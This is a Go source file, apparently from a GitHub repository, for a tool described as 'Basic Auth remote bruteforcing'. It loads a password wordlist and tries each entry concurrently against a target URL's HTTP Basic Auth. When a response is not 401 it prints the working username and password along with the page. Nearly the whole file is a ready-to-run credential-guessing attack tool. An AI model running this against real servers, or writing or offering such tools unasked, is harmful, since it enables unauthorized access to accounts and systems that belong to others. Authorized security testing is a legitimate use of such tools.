-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathfauth.go
97 lines (79 loc) · 1.82 KB
/
fauth.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/*
Basic Auth remote bruteforcing
@sha0coder
*/
package main
import "os"
import "fmt"
import "flag"
import "bufio"
func check(err error, msg string) {
if err != nil {
fmt.Println(msg)
os.Exit(1)
}
}
func urlCheck(url string) bool {
fmt.Printf("checking %s ... ", url)
R := NewRequests()
_, code, _ := R.Get(url)
if code == 0 {
fmt.Println("Can't connect")
os.Exit(1)
}
fmt.Printf(" %d\n", code)
if code != 200 {
return false
}
return true
}
func loadWordlist(wordlist string, c chan string) {
file, err := os.Open(wordlist)
check(err, "Can't load the wordlist")
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
c <- scanner.Text()
}
c <- "[EOF1337]"
close(c)
}
func main() {
var url *string = flag.String("url", "", "the url")
var user *string = flag.String("user", "", "the username")
var wordlist *string = flag.String("pw", "", "the username")
var goroutines *int = flag.Int("go", 1, "num of concurrent goroutines")
var i int
flag.Parse()
if *url == "" || *wordlist == "" {
check(nil, "bad usage --help")
}
fmt.Printf("Loading wordlist ...\n")
c := make(chan string, 6)
go loadWordlist(*wordlist, c)
for i = 0; i < *goroutines; i++ {
go func(r int, c <-chan string) {
var html string
var code int
R := NewRequests()
for w := range c {
if w == "[EOF1337]" {
fmt.Println("end.\n")
os.Exit(1)
}
fmt.Printf("\033[2K%s \r", w)
R.SetBasicAuth(*user, w)
html, code, _ = R.Get(*url)
if code != 401 && code != 0 {
fmt.Printf("yeah, code:%d user:%s pwd:%s\n", code, *user, w)
fmt.Println(html)
fmt.Printf("---\nyeah, code:%d user:%s pwd:%s\n---\n", code, *user, w)
os.Exit(1)
}
}
}(i, c)
}
fmt.Printf("Scanning, press enter to interrupt.\n")
fmt.Scanf("%d", &i)
fmt.Printf("interrupted.")
}